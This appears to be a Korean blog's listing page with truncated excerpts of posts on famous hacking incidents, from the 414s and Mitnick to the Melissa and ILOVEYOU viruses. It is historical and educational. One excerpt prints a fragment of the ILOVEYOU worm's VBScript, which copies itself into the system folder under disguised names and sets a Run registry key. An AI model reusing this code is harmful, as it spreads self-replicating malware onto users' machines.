나무수피아의 디지털 정원

💥 1999년 Melissa 바이러스: 이메일이 만든 디지털 재앙

🧨 Melissa 바이러스란? Melissa 바이러스는 1999년 3월 전 세계를 강타한 이메일 기반 매크로 바이러스입니다. 이 악성코드는 사용자가 Microsoft Word 문서를 열면 자동으로 실행되며, 감염된 사용자의 Outlook 주소록을 활용해 다른 사람들에게 자신을 이메일로 퍼뜨리는 형태로 확산됐습니다. 단 몇 시간 만에 수십만 대의 컴퓨터를 감염시키며 이메일 시스템을 마비시키고 업무 생산성을 붕괴시킨 악명 높은 사례로 기록되었습니다. 바이러스는 Here is that document you asked for... don't show anyone else ;-)라는 메일 내용과 함께 list.doc라는 파일을 첨부한 이메일 형태로 확산되었습니다. 사용자가 해당 Word 문서를 열면 V..

💰 1994년 시티은행 해킹 사건 $10M 강탈의 전말

🧠 사건 개요 1994년, 러시아의 해커 블라디미르 레빈(Vladimir Levin)은 당시 세계적인 금융 기업 중 하나였던 시티은행(Citibank)의 시스템을 해킹하여 무려 1,070만 달러(한화 약 130억 원 이상)를 절도한 사건을 저질렀습니다. 이 사건은 인터넷이 본격적으로 대중화되기 전, 전화 접속 시스템을 이용한 초창기 사이버 범죄의 대표적인 사례로 기록되며, 국제 수사와 디지털 포렌식, 공조 수사의 시작을 알린 중요한 사건입니다. 블라디미르 레빈(Vladimir Levin) 은 러시아 상트페테르부르크에 있는 사무실에서, 시티은행의 Cash Manager 시스템에 원격 접속하여 여러 고객 계좌로부터 돈을 다른 국가의 공범 계좌로 이체했습니다. 이체된 자금은 일부 실제 인출되기도 했지..

🪙 75센트 : 청구서 오류로 시작된 사이버 첩보전

📌 사건 개요 요약장소: 미국 로렌스 버클리 국립연구소 (LBNL)시간: 1986년문제: 회계 시스템에서 75센트의 계산 오류가 발생의문: 이 금액이 사용자 계정의 접속 시간 요금 청구 내역과 맞지 않음추적자: Clifford Stoll, 당시 천문학자로 시스템 관리자 업무 겸임🪙어떻게 75센트 오류가 생겼는가? 당시 LBNL은 미국 ARPANET 및 국방연구 네트워크에 연결된 고성능 VAX/VMS 시스템을 운영하고 있었고, 외부 사용자들이 연구 목적으로 이 시스템에 접속할 수 있었습니다. 이 접속은 시간 단위로 과금되었고, 연구소는 월말에 이를 바탕으로 접속 사용자들에게 요금을 청구했습니다.✅ 당시 시스템 과금 방식사용자 A가 원격 접속 → 시스템에서 사용 시간 계산사용 시간 × 단가 = 과금 ..

On Error Resume NextSet fso = CreateObject("Scripting.FileSystemObject")Set reg = CreateObject("WScript.Shell")Set sysdir = reg.ExpandEnvironmentStrings("%SystemRoot%") & "\system\"' 복사 및 레지스트리 등록fso.CopyFile WScript.ScriptFullName, sysdir & "MSKernel32.vbs", Truefso.CopyFile WScript.ScriptFullName, sysdir & "WIN-BUGSFIX.vbs", Truereg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\..

🪱 1988년 모리스 웜(Morris Worm) ― 최초의 인터넷 웜이 남긴 충격과 교훈 ―💡 단 한 명의 실험이 전 세계를 흔들었다.1988년 11월, 로버트 T. 모리스가 만든 프로그램은 세계 최초의 '인터넷 웜'이 되어 수천 대의 시스템을 마비시켰습니다. 이 사건은 사이버 보안의 역사에서 지울 수 없는 이정표로 남았습니다.📌 1. 사건 개요🗓 발생일: 1988년 11월 2일🧑‍💻 작성자: 로버트 타판 모리스 (Robert Tappan Morris)🌐 피해 범위: 당시 전체 인터넷 시스템 중 약 10% 이상 감염 1988년 11월 2일, 아직 인터넷이라는 개념조차 낯설던 시절, 미국 전역의 수많은 컴퓨터가 느려지거나 멈춰 섰습니다. 그날 밤, 모리스 웜(Morris Worm)이라 불리..

👤 창립자 – Lex Luthor (Loyd Blankenship) Lex Luthor라는 이름은 DC 코믹스의 악당에서 따온 해커 네임이지만, 현실 속 그의 활동은 단순한 파괴자나 장난꾼이 아니었습니다. 본명: Loyd Blankenship. 그는 1980년대 미국 해커 커뮤니티에서 정보 자유와 기술 탐구의 아이콘이자, 해킹 문화의 철학자로 군림했던 인물입니다. 그가 창설한 해커 그룹 Legion of Doom (LOD)는 단순한 해커 동아리가 아닌, 조직적이고 체계적인 정보 탐험과 기술 공유 집단이었으며, 당시 해커 세계의 이정표 역할을 했습니다. 그 중심에 바로 Lex Luthor가 있었습니다. Lex Luthor의 가장 큰 특징은 단순한 시스템 침입이 아니라, 기술 자체를 탐구하고 이를..

2000년 5월 4일 아침, 세계 곳곳의 사람들이 출근하자마자 받은 수상한 메일 한 통.📩 제목: ILOVEYOU📎 첨부파일: LOVE-LETTER-FOR-YOU.TXT.vbs“헉, 나한테 고백하는 사람이라도 있는 건가?”"누가 날 좋아하지?"이메일을 클릭한 사람들 대부분은 순간의 설렘을 느꼈지만, 그 끝은… 재앙이었습니다.이 ‘사랑의 편지’는 사실 역대 최악의 컴퓨터 웜 바이러스였고, 단 몇 시간 만에 전 세계 45백만 대 이상의 컴퓨터를 감염시켰습니다.🧠 소셜 엔지니어링의 정석ILOVEYOU는 그 어떤 첨단 해킹 기법보다 무서운 무기를 활용했습니다.바로 ‘사람의 심리’입니다.당시 이메일의 기본 구조는 단순했습니다:제목은 감성 자극: ILOVEYOU첨부파일은 평범해 보이는 텍스트 파일: LOVE-..

💻 1983년 414s 해킹 사건: 십대 해커들이 미국을 놀라게 하다📌 사건 개요1983년, 미국 위스콘신주의 밀워키 지역 청소년 6명으로 구성된 해커 그룹 '414s'는 단순한 호기심과 도전 정신으로 고위 기관의 컴퓨터 시스템에 무단 침입했습니다. 이들은 지역 번호 '414'에서 이름을 따왔고, 당시 대부분이 고등학생이었습니다. 주요 침입 대상에는 로스앨러모스 국립연구소, 슬론 케터링 암센터, Security Pacific 은행 등이 포함되어 있었습니다.🧪 해킹 기술 분석기본 비밀번호 이용: 시스템 관리자들이 변경하지 않은 공장 초기 비밀번호를 악용.워 다이얼링(War Dialing): 모뎀을 이용해 무작위로 전화번호를 걸어 컴퓨터 시스템을 탐색.VMS 및 RSTS/E 운영체제 취약점: 당시 널리..

📌 시모무라 츠토무 프로필과 생애 시모무라 츠토무(Tsutomu Shimomura, 下村 努)는 1964년 일본 교토에서 태어나, 이후 어린 시절을 미국에서 보낸 일본계 미국인 물리학자이자 컴퓨터 보안 전문가입니다. 그의 아버지는 노벨상 후보에도 오른 입자물리학자로, 시모무라는 어린 시절부터 수학과 과학에 대한 강한 호기심을 지닌 환경 속에서 자랐습니다. 학창 시절부터 UNIX 시스템과 컴퓨터 네트워크에 깊은 관심을 보이며, 고등학생 시절에는 이미 BSD 기반 운영체제를 독학하며 커널 수준의 이해도를 갖췄습니다. 시모무라는 대학 진학 대신 로스앨러모스 국립연구소(Los Alamos National Laboratory)에서 근무하면서 과학적 경력을 시작합니다. 그곳에서 그는 전설적인 물리학자 리처..

🔹 [1975년경 / 나이 12세]📛 사건명: L.A. 시내버스 펀치 카드 시스템 해킹해킹 사건일: 1975년경해킹 기술: 사회공학, 시스템 분석, 카드 복제 기술해킹 기술 보안 방법: 폐기 카드 파쇄, 식별코드 무작위화, 전자 스마트카드 도입해킹 시도 과정:버스 시스템 관찰 및 카드 수거펀치 위치 규칙 분석위조 펀치 카드 제작실제 승차 시 테스트 성공해킹 시도 결과: 무료로 버스를 이용할 수 있었으며, 금전적 피해는 없었지만 미트닉의 시스템 해킹 탐구가 시작됨🔹 [1979년 / 나이 16세]📛 사건명: DEC 연구소 'The Ark' 침입해킹 사건일: 1979년해킹 기술: 사회공학, 초기 패스워드 크래킹, 모뎀을 통한 원격 접속보안 대응 방법: 사용자 계정 관리 강화, 외부 접속 로그 모니터링,..